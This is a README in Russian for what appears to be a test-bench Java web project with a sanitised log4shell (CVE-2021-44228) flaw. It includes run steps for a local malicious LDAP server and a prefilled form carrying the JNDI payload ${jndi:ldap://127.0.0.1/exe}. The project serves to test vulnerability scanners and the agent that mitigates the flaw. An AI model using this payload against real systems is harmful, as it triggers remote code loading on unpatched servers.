
jee веб-проект с обезвреженной уязвимостью log4shell (CVE-2021-44228)
Это простой веб-проект с санитизированной уязвимостью log4shell. Несанитизированную версию см. на https://github.com/scabench/l4j-tp1/.
Проект определяет простой сервис scabench.HelloWorldService, возвращающий простую текстовую строку hello world.
Сервис не ожидает параметров, и если параметры встречаются,
в журнал записывается ошибка.
Уязвимая зависимость — org.apache.logging.log4j:log4j-core:2.14.1, уязвимость — CVE-2021-44228.
Проект использует агент, созданный Amazon, когда появился log4shell, а исправления ещё не было.
Агент отключает уязвимый класс org.apache.logging.log4j.core.lookup.JndiLookup.
Использование агента обеспечивается путём динамической установки (иначе говоря, подключения) агента при загрузке scabench.HelloWorldService (в статическом блоке класса),
в случае сбоя приложение завершается с ошибкой. Для этого требуется, чтобы JVM разрешала самостоятельное подключение агента.
export MAVEN_OPTS="-Djdk.attach.allowAttachSelf=true"mvn jetty:runjava -jar dodgy-ldap-server.jar (уязвимый код будет загружать Java-код с этого сервера)http://localhost:8080/ — на этом сайте есть предварительно заполненная форма с вредоносной полезной нагрузкой ${jndi:ldap://127.0.0.1/exe}foo на сервере НЕ создастся (в отличие от несанитизированной версии)Обратите внимание: при запуске приложения на консоли появляется следующая строка:
Transforming org/apache/logging/log4j/core/lookup/JndiLookup .
Для этого требуются Unix или macOS. Этот проект легко портировать на Windows. Для демонстрации уязвимости предоставлен модульный тест; настройка такая же, как в https://github.com/scabench/l4j-tp1/. Из-за санитизации тест теперь проваливается.
Имеется несколько sh-скриптов для запуска различных анализов; отчёты о результатах можно найти в scan-results.
В pom.xml есть плагин для формирования SBOM в формате CycloneDX.
Для этого выполните mvn cyclonedx:makePackageBom; SBOM можно найти в
target/ в форматах json и xml.